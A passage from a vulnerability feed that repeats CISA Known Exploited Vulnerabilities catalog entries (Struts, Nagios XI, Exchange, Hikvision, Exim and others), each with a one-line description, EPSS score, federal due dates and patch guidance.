CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts 1 ActionForm Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2006-1547
Apache Struts 1 ActionForm Denial-of-Service Vulnerability (Jan 21, 2022).
ActionForm in Apache Struts versions before 1.2.9 with BeanUtils 1.7 contains a vulnerability that allows for denial-of-service (DoS).
EPSS 54.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2006-1547&date=2026-10-25).
Sources:
CISA KEV entry CVE-2006-1547: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2006-1547&date=2026-10-25
CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 21, 2022; federal due date Jul 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts 2 Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2012-0391
Apache Struts 2 Improper Input Validation Vulnerability (Jan 21, 2022).
The ExceptionDelegator component in Apache Struts 2 before 2.2.3.1 contains an improper input validation vulnerability that allows for remote code execution.
EPSS 75.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0391&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0391: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0391&date=2026-10-25
CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 21, 2022; federal due date Jul 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8453
Microsoft Win32k Privilege Escalation Vulnerability (Jan 21, 2022).
Microsoft Windows Win32k contains a vulnerability that allows an attacker to escalate privileges.
EPSS 70.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8453&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8453: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8453&date=2026-10-25
CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 21, 2022; federal due date Jul 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Serv-U Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-35247
SolarWinds Serv-U Improper Input Validation Vulnerability (Jan 21, 2022).
SolarWinds Serv-U versions 15.2.5 and earlier contain an improper input validation vulnerability that allows attackers to build and send queries without sanitization.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35247&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35247: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35247&date=2026-10-25
CISA added this entry on 2022-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 21, 2022; federal due date Feb 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### October CMS Improper Authentication
https://kevwire.com/record/CVE-2021-32648
October CMS Improper Authentication (Jan 18, 2022).
In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request.
EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-32648&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-32648: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-32648&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nagios XI OS Command Injection
https://kevwire.com/record/CVE-2021-25296
Nagios XI OS Command Injection (Jan 18, 2022).
Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.
EPSS 71.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25296&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25296: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25296&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nagios XI OS Command Injection
https://kevwire.com/record/CVE-2021-25297
Nagios XI OS Command Injection (Jan 18, 2022).
Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.
EPSS 56.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25297&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25297: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25297&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Nagios XI OS Command Injection
https://kevwire.com/record/CVE-2021-25298
Nagios XI OS Command Injection (Jan 18, 2022).
Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.
EPSS 73.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25298&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25298&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Aviatrix Controller Unrestricted Upload of File
https://kevwire.com/record/CVE-2021-40870
Aviatrix Controller Unrestricted Upload of File (Jan 18, 2022).
Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.
EPSS 93.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40870&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40870: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40870&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Information Disclosure
https://kevwire.com/record/CVE-2021-33766
Microsoft Exchange Server Information Disclosure (Jan 18, 2022).
Microsoft Exchange Server contains an information disclosure vulnerability which can allow an unauthenticated attacker to steal email traffic from target.
EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33766&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33766: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33766&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Server Side Request Forgery in vRealize Operations Manager API
https://kevwire.com/record/CVE-2021-21975
VMware Server Side Request Forgery in vRealize Operations Manager API (Jan 18, 2022).
Server Side Request Forgery (SSRF) in vRealize Operations Manager API prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API to perform a SSRF attack to steal administrative credentials.
EPSS 78.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21975&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21975: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21975&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### System Information Library for Node.JS Command Injection
https://kevwire.com/record/CVE-2021-21315
System Information Library for Node.JS Command Injection (Jan 18, 2022).
In this vulnerability, an attacker can send a malicious payload that will exploit the name parameter. After successful exploitation, attackers can execute remote.
EPSS 90.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21315&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21315: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21315&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Traffic Management Microkernel Buffer Overflow
https://kevwire.com/record/CVE-2021-22991
F5 BIG-IP Traffic Management Microkernel Buffer Overflow (Jan 18, 2022).
The Traffic Management Microkernel of BIG-IP ASM Risk Engine has a buffer overflow vulnerability, leading to a bypassing of URL-based access controls.
EPSS 62.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22991&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22991&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Feb 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Business Intelligence Enterprise Edition Path Transversal
https://kevwire.com/record/CVE-2020-14864
Oracle Business Intelligence Enterprise Edition Path Transversal (Jan 18, 2022).
Path traversal vulnerability, where an attacker can target the preview FilePath parameter of the getPreviewImage function to get access to arbitrary system file.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14864&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14864: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14864&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Drupal core Un-restricted Upload of File
https://kevwire.com/record/CVE-2020-13671
Drupal core Un-restricted Upload of File (Jan 18, 2022).
Improper sanitization in the extension file names is present in Drupal core.
EPSS 36.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-13671&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-13671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-13671&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Airflow Command Injection
https://kevwire.com/record/CVE-2020-11978
Apache Airflow Command Injection (Jan 18, 2022).
A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11978&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11978: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11978&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Airflow's Experimental API Authentication Bypass
https://kevwire.com/record/CVE-2020-13927
Apache Airflow's Experimental API Authentication Bypass (Jan 18, 2022).
The previous default setting for Airflow's Experimental API was to allow all API requests without authentication.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-13927&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-13927: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-13927&date=2026-10-25
CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Improper Access Control
https://kevwire.com/record/CVE-2021-22017
VMware vCenter Server Improper Access Control (Jan 10, 2022).
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization.
EPSS 49.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22017&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22017&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jan 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hikvision Improper Input Validation
https://kevwire.com/record/CVE-2021-36260
Hikvision Improper Input Validation (Jan 10, 2022).
A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36260&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36260: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36260&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jan 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome Media Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-6572
Google Chrome Media Use-After-Free Vulnerability (Jan 10, 2022).
Google Chrome Media contains a use-after-free vulnerability that allows a remote attacker to execute code via a crafted HTML page.
EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-6572&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-6572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-6572&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1458
Microsoft Win32k Privilege Escalation Vulnerability (Jan 10, 2022).
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k EoP.
EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1458&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1458: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1458&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft WinVerifyTrust function Remote Code Execution
https://kevwire.com/record/CVE-2013-3900
Microsoft WinVerifyTrust function Remote Code Execution (Jan 10, 2022).
A remote code execution vulnerability exists in the way that the WinVerifyTrust function handles Windows Authenticode signature verification for PE files.
EPSS 44.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3900&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3900: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3900&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server, Injection
https://kevwire.com/record/CVE-2019-2725
Oracle WebLogic Server, Injection (Jan 10, 2022).
Injection vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-2725&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-2725: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-2725&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Improper Restriction of XML External Entity Reference
https://kevwire.com/record/CVE-2019-9670
Synacor Zimbra Collaboration Suite (ZCS) Improper Restriction of XML External Entity Reference (Jan 10, 2022).
Synacor Zimbra Collaboration Suite (ZCS) contains an improper restriction of XML external entity (XXE) vulnerability in the mailboxd component.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9670&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9670: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9670&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiProxy Improper Authorization
https://kevwire.com/record/CVE-2018-13382
Fortinet FortiOS and FortiProxy Improper Authorization (Jan 10, 2022).
An Improper Authorization vulnerability in Fortinet FortiOS and FortiProxy under SSL VPN web portal allows an unauthenticated attacker to modify the password.
EPSS 81.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-13382&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-13382: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-13382&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiProxy Out-of-bounds Write
https://kevwire.com/record/CVE-2018-13383
Fortinet FortiOS and FortiProxy Out-of-bounds Write (Jan 10, 2022).
A heap buffer overflow in Fortinet FortiOS and FortiProxy may cause the SSL VPN web service termination for logged in users.
EPSS 33.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-13383&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-13383: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-13383&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-1579
Palo Alto Networks PAN-OS Remote Code Execution Vulnerability (Jan 10, 2022).
Remote Code Execution in PAN-OS with GlobalProtect Portal or GlobalProtect Gateway Interface enabled.
EPSS 44.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1579&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1579: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1579&date=2026-10-25
CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2022; federal due date Jul 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Exim Mail Transfer Agent (MTA) Improper Input Validation
https://kevwire.com/record/CVE-2019-10149
Exim Mail Transfer Agent (MTA) Improper Input Validation (Jan 10, 2022).
Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-10149&date=2026-10-25).
Sources:
